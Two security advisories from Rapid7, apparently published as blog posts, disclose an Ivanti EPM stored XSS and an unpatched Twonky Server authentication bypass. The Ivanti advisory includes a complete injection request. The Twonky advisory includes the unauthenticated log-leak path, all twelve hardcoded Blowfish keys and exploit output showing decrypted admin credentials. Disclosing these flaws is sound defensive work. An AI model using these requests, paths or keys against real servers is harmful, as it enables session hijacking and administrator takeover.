Normal view

Received before yesterday

CVE-2025-10573: Ivanti EPM Unauthenticated Stored Cross-Site Scripting (Fixed)

9 December 2025 at 10:31

Ivanti Endpoint Manager (“EPM”) versions 2024 SU4 and below are vulnerable to stored cross-site scripting (“XSS”). The vulnerability, tracked as CVE-2025-10573 and assigned a CVSS score of 9.6, was patched on December 9, 2025 with the release of Ivanti EPM version EPM 2024 SU4 SR1. An attacker with unauthenticated access to the primary EPM web service can join fake managed endpoints to the EPM server in order to poison the administrator web dashboard with malicious JavaScript. When an Ivanti EPM administrator views one of the poisoned dashboard interfaces during normal usage, that passive user interaction will trigger client-side JavaScript execution, resulting in the attacker gaining control of the administrator’s session.

An authenticated check for CVE-2025-10573 will be made available to Exposure Command, InsightVM and Nexpose customers in the December 9, 2025 content release. Due to the unauthenticated nature of this vulnerability, customers are recommended to patch affected instances as soon as possible.

Product description

Ivanti EPM is endpoint management software used by many organizations for remote administration, vulnerability scanning, and compliance management of user endpoints, among other use cases. An authenticated EPM administrator can remotely control endpoints and install software on systems managed by the EPM server, making it a desirable target for attackers.

Credit

This vulnerability was discovered and reported to the Ivanti team by Ryan Emmons, Staff Security Researcher at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7's vulnerability disclosure policy. Rapid7 is grateful to the Ivanti team for their assistance and collaboration.

Vulnerability details

The testing target was an Ivanti EPM 11.0.6 Core installation on Windows Server 2022. Rapid7 identified one high severity vulnerability, stored cross-site scripting, while researching Ivanti EPM. Based on information provided by the vendor, it affects versions below EPM 2024 SU4 SR1.

Ivanti EPM provides an ‘incomingdata’ web API that consumes device scan data. An unauthenticated attacker can submit device scan data containing malicious cross-site scripting (“XSS”) payloads. The submitted scan is then automatically processed and unsafely embedded in the web dashboard, facilitating arbitrary client-side JavaScript code execution.

The ‘incomingdata’ web API is configured to execute a CGI binary, postcgi.exe, which writes device scan files to a processing directory outside of the web root. These device scan files are of a simple key=value format. An example malicious device scan request, which is a normal scan request with double quotes and a JavaScript injection in various fields, is depicted below.

POST /incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan HTTP/1.1
Host: 192.168.154.132
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Type: text/plain
Content-Length: 916

Device ID =INJECT" <script>alert('Administrator account has been hijacked')</script>

Hardware ID =C492A2E9-842A-A444-9FDA-AEE64D1C1252

Scan Type =BAREMETAL

Type =Bare Metal Provision

Status =inj

Last Hardware Scan Date =1411369165

Display Name =INJECT" <script>alert('Administrator account has been hijacked')</script>

Agentless =1

Device Name =INJECT" <script>alert('Administrator account has been hijacked')</script>

Network - NIC Address =111111111118

Network - TCPIP - Host Name =INJECT" <script>alert('Administrator account has been hijacked')</script>

OS - Name =INJECT" <script>alert('Administrator account has been hijacked')</script>

LANDesk Management - Inventory - Scanner - Type =Bare Metal Provision

LANDesk Management - Inventory - Scanner - File Name =barescan.exe

Network - TCPIP - Bound Adapter - (Number:0) - Physical Address =111111111117


After the malicious request is performed, the device scan file is then subsequently parsed and added to the device database. When an administrator views a web dashboard page that displays device information, the XSS payloads are unsafely embedded in the web browser's DOM, and the attacker gains control of the administrator’s session. Two example web dashboard payload executions are depicted below.

CVE-2025-10573-Ivanti-1.png
Figure 1: An administrator accesses the poisoned  ‘frameset.aspx’ page of the management console

CVE-2025-10573-Ivanti-2.png
Figure 2: An administrator accesses the poisoned ‘db_frameset.aspx’ page of the management console.

Vendor statement 

“Ivanti is dedicated to ensuring the security and integrity of our enterprise software products. We do this by providing security fixes which resolve a vulnerability without impacting the functionality that our customers depend on. We recognize the vital role that security researchers, ethical hackers, and the broader security community play in identifying and reporting vulnerabilities. We appreciate the work that Ryan Emmons, and the entire Rapid7 team, have done in reporting this vulnerability to Ivanti, coordinating disclosure and working with us to help protect our customers.”

Mitigation guidance

Per the vendor, this vulnerability can be remediated by upgrading to Ivanti EPM version EPM 2024 SU4 SR1.

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-10573  with an authenticated vulnerability check expected to be available in the December 9, 2025 content release. 

Disclosure timeline

August 15, 2025: Rapid7 contacts Ivanti with vulnerability details.
August 19, 2025: Ivanti confirms receipt and acknowledges that triage has begun.
August 27, 2025: Ivanti states that the vulnerability has been reproduced.
September 9, 2025: Ivanti requests a ~90-day disclosure extension to Nov 11, 2025.
September 16, 2025: Rapid7 accepts the Nov 11, 2025 extension request.
October 31, 2025: Ivanti requests an extension to December 9, due to a patch revision.
November 5, 2025: Rapid7 accepts the new disclosure date of December 9.
December 9, 2025: This disclosure.

CVE-2025-13315, CVE-2025-13316: Critical Twonky Server Authentication Bypass (NOT FIXED)

19 November 2025 at 12:30

Overview

Twonky Server version 8.5.2 is susceptible to two vulnerabilities that facilitate administrator authentication bypass on Linux and Windows. An unauthenticated attacker can improperly access a privileged web API endpoint to leak application logs, which contain encrypted administrator credentials (CVE-2025-13315). As a result of the use of hardcoded encryption keys, the attacker can then decrypt these credentials and login as an administrator to Twonky Server (CVE-2025-13316). Exploitation results in the unauthenticated attacker gaining plain text administrator credentials, full administrator access to the Twonky Server instance, and control of all stored media files. These vulnerabilities are tracked as CVE-2025-13315 and CVE-2025-13316.


These vulnerabilities have not been patched. Despite making contact with the vendor, and the vendor confirming receipt of our technical disclosure document, the vendor ceased communications after disclosure. They stated that a patch wouldn’t be possible, even with a disclosure timeline extension, and subsequent follow-up attempts on our part were unsuccessful. As such, the vulnerable version 8.5.2 is the latest available.

Product description

Twonky Server is media server software marketed to both organizations and individuals. It’s generally designed to run on embedded systems, such as NAS devices and routers, for media organization, access, and streaming. At the time of publication, Shodan returns approximately 850 Twonky Server services exposed to the public internet.

Credit

These issues were discovered and reported to Lynx Technology by Ryan Emmons, Staff Security Researcher at Rapid7. The vulnerabilities are being disclosed in accordance with Rapid7's vulnerability disclosure policy. This work is based on the previous Twonky Server research published by Sven Krewitt.

Vulnerability details

CVE

Description

CVSS

CVE-2025-13315

An unauthenticated remote attacker can bypass web service API authentication controls to leak a log file and read the administrator’s username and encrypted password.

9.3 (Critical)

CVE-2025-13316

The application uses hardcoded encryption keys across installations. An attacker with an encrypted administrator password value can decrypt it into plain text using these hardcoded keys.

8.2 (High)

The testing target was Twonky Server 8.5.2, the latest version available at the time of research. Rapid7 identified two security vulnerabilities as part of this research project, which are outlined in the table above. These vulnerabilities were tested against Twonky Server installed on two different operating systems: Ubuntu Linux 22.04.1 and Windows Server 2022. When exploited, these vulnerabilities effectively serve as a patch bypass for the security mitigations introduced in response to the two vulnerabilities disclosed by Risk Based Security in 2021.

CVE-2025-13315

In 2021, the security firm Risk Based Security disclosed an improper API access vulnerability in Twonky Server, for which no CVE is assigned. Their approach was to leak the administrator’s username and obfuscated password via requests to /rpc/get_option?accessuser and /rpc/get_option?accesspwd, which previously did not enforce authentication checks. In the patch, authentication checks were implemented for the /rpc web API. However, some administrator RPC API endpoints, such as log_getfile, are still accessible without authentication via alternative routing.

00461ddf                                if (!check_path(&arg1[2], "/rpc/info_status"))
00461ddf                                {
00461fc8                                    if (check_path(&arg1[2], "/rpc/stop"))
00461fcf                                        goto label_461de5;
00461fcf                                    
00461fe4                                    if (check_path(&arg1[2], "/rpc/stream_active"))
00461fe4                                        goto label_461de5;
00461fe4                                    
00461ff9                                    if (check_path(&arg1[2], "/rpc/byebye"))
00461ff9                                        goto label_461de5;
00461ff9                                    
0046200e                                    if (check_path(&arg1[2], "/rpc/wakeup"))
0046200e                                        goto label_461de5;
0046200e                                    
00462023                                    if (check_path(&arg1[2], "/rpc/get_option?language"))
00462023                                        goto label_461de5;
00462023                                    
00462043                                    if (check_path(&arg1[2], "/rpc/get_option?multiusersupportenabled")
00462043                                            || !(var_480_1 & 1))
[..SNIP..]
004621af                                            *(uint64_t*)((char*)arg1 + 0x828) = "text/plain; charset=utf-8";
004621af                                            
004621c9                                            if (check_path(&arg1[2], "/rpc/log_getfile"))
004621c9                                            {
004622bf                                                char* rax_59 = getlogfile();

The decompiled binary contains the string "/nmc/rpc/", which is referenced in various functions containing request routing logic within the codebase.

Twonky1.png

Jumping right into dynamic testing, we observed that some RPC requests with the /nmc/rpc prefix succeeded without authentication. 

An example is depicted below, calling the log_getfile web API endpoint with the typical /rpc prefix without authenticating.

Twonky2.png

Requesting the same API endpoint with the /nmc/rpc prefix instead, the log file is returned without authentication.

Twonky3.png

During startup, the application will log the accesspwd encrypted administrator password.

Twonky4.png

It’s also possible to call other authenticated APIs, such as the one to shut down the server, without authentication by leveraging the same /nmc/rpc prefix. When paired with CVE-2025-13316, an unauthenticated attacker can leak the administrator’s username and encrypted password, then decrypt the password to bypass authentication and take over the media server.

CVE-2025-13316

In 2021, the security firm Risk Based Security disclosed a weak password obfuscation vulnerability in Twonky Server, for which no CVE is assigned. It appears that, as a remediation strategy, the Blowfish encryption algorithm was introduced in subsequent versions of Twonky Server. The twonkyserver compiled executable defines twelve encryption keys.

008c7fe0  char const (* blowfish_constants)[0x11] = data_634d38 {"E8ctd4jZwMbaV587"}
008c7fe8  char const (* data_8c7fe8)[0x11] = data_634d49 {"TGFWfWuW3cw28trN"}
008c7ff0  char const (* data_8c7ff0)[0x11] = data_634d5a {"pgqYY2g9atVpTzjY"}
008c7ff8  char const (* data_8c7ff8)[0x11] = data_634d6b {"KX7q4gmQvWtA8878"}
008c8000  char const (* data_8c8000)[0x11] = data_634d7c {"VJjh7ujyT8R5bR39"}
008c8008  char const (* data_8c8008)[0x11] = data_634d8d {"ZMWkaLp9bKyV6tXv"}
008c8010  char const (* data_8c8010)[0x11] = data_634d9e {"KMLvvq6my7uKkpxf"}
008c8018  char const (* data_8c8018)[0x11] = data_634daf {"jwEkNvuwYCjsDzf5"}
008c8020  char const (* data_8c8020)[0x11] = data_634dc0 {"FukE5DhdsbCjuKay"}
008c8028  char const (* data_8c8028)[0x11] = data_634dd1 {"SpKNj6qYQGjuGMdd"}
008c8030  char const (* data_8c8030)[0x11] = data_634de2 {"qLyXuAHPTF2cPGWj"}
008c8038  char const (* data_8c8038)[0x11] = data_634df3 {"rKz7NBhM3vYg85mg"}

When an administrator password is set, the application uses one of these hardcoded keys as a Blowfish encryption key for the administrator password. After performing the encryption process, the encrypted password value is embedded in a string formatted as ||{HEX_INDEX}{HEX_CIPHERTEXT} and subsequently written to the configuration file.

00581260    int32_t enc_passwd(char* arg1, char* arg2, int32_t arg3)
00581260    {
00581260        int32_t result;
00581268        result = !arg3;
00581268        
00581276        if (!(!arg1 | result) && arg2)
00581276        {
00581289            uint64_t maxlen = (uint64_t)arg3;
0058129d            memset(arg2, 0, maxlen);
005812a5            result = strlen(arg1);
005812a5            
005812ac            if (result)
005812ac            {
005812ae                char rax = *(uint8_t*)arg1;
005812ae                
005812b4                // Checking if password is already encrypted(legacy)
005812b4                if (rax == ':')
005812b4                {
00581374                    if (arg1[1] == ':')
0058138c                        return snprintf(arg2, maxlen, "%s", arg1);
005812b4                }
005812b4                else if (rax == '|' && arg1[1] == '|')
0058138c                    return snprintf(arg2, maxlen, "%s", arg1);
0058138c                
005812d1                srand(j_sub_597230());  // seed?
005812fc                uint64_t rdx_4 = (uint64_t)(sub_464c10() % 0xc);
005812fe                char* r14_1 = (&blowfish_constants)[rdx_4];
00581316                void var_1088;
00581316                result = maybe_BF_set_key(&var_1088, r14_1, strlen(r14_1));
00581316                
0058131d                if (!result)
0058131d                {
0058133e                    void* rax_9 = maybe_BF_encrypt(&var_1088, arg1);
0058135b                    // String to write to config file in format ||{INDEX}{CIPHERTEXT}
0058135b                    snprintf(arg2, maxlen, "||%X%s", (uint64_t)rdx_4, rax_9);


Since these keys are static across Twonky Server installations and versions, an attacker with knowledge of the encrypted administrator password can trivially decrypt it to plain text and authenticate to Twonky Server as an administrator. The output of a Metasploit module exploit that pairs CVE-2025-13315 and CVE-2025-13316 for authentication bypass is depicted below.

msf auxiliary(gather/twonky_authbypass_logleak) > run
[*] Running module against 192.168.181.129
[*] Confirming the target is vulnerable
[+] The target is Twonky Server v8.5.2
[*] Attempting to leak encrypted password
[+] The target returned the encrypted password and key index: 14ee76270058c6e3c9f8cecaaebed4fc5206a1d2066d4f78, 7
[*] Decrypting password using key: jwEkNvuwYCjsDzf5
[+] Credentials decrypted: USER=admin PASS=R7Password123!!!
[*] Auxiliary module execution completed

Mitigation guidance

In lieu of any patches or mitigation guidance from the vendor, affected organizations and individuals are advised to restrict Twonky Server traffic to only trusted IPs. Additionally, any administrator credentials configured in Twonky Server should be assumed to be compromised.

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2025-13315 and CVE-2025-13316 with unauthenticated vulnerability checks expected to be available in today’s (November 19) content release.

Disclosure timeline

August 5, 2025: Rapid7 reaches out to a Lynx Technology contact email address.

August 6, 2025: A Lynx Technology representative replies and confirms that the address is the proper path to disclose vulnerabilities.

August 12, 2025: Rapid7 shares the disclosure document with technical details and a proof-of-concept exploit.

August 18, 2025: Lynx Technology confirms that the document has been received and shared with management.

September 3, 2025: Rapid7 follows up and requests a ~60-day disclosure date of October 13.

September 5, 2025: Lynx Technology replies and acknowledges the 60-day timeline as standard practice, but states that resource constraints prevent a patch from being issued on that timeline.

September 9, 2025: Rapid7 replies and offers to accommodate beyond the standard 60-day timeline with a ~90-day timeline, the week of November 17, 2025.

September 30, 2025: Rapid7 follows up in the same ticket thread and reiterates the offer to extend to a 90-day timeline.

October 28, 2025: Rapid7 opens a new ticket and reiterates the offer to extend the timeline.

November 13, 2025: Rapid7 follows up and reiterates the intent to publish materials in November. 

November 14, 2025: Rapid7 follows up and reiterates the upcoming publication, with no response.

November 19, 2025: This disclosure.

❌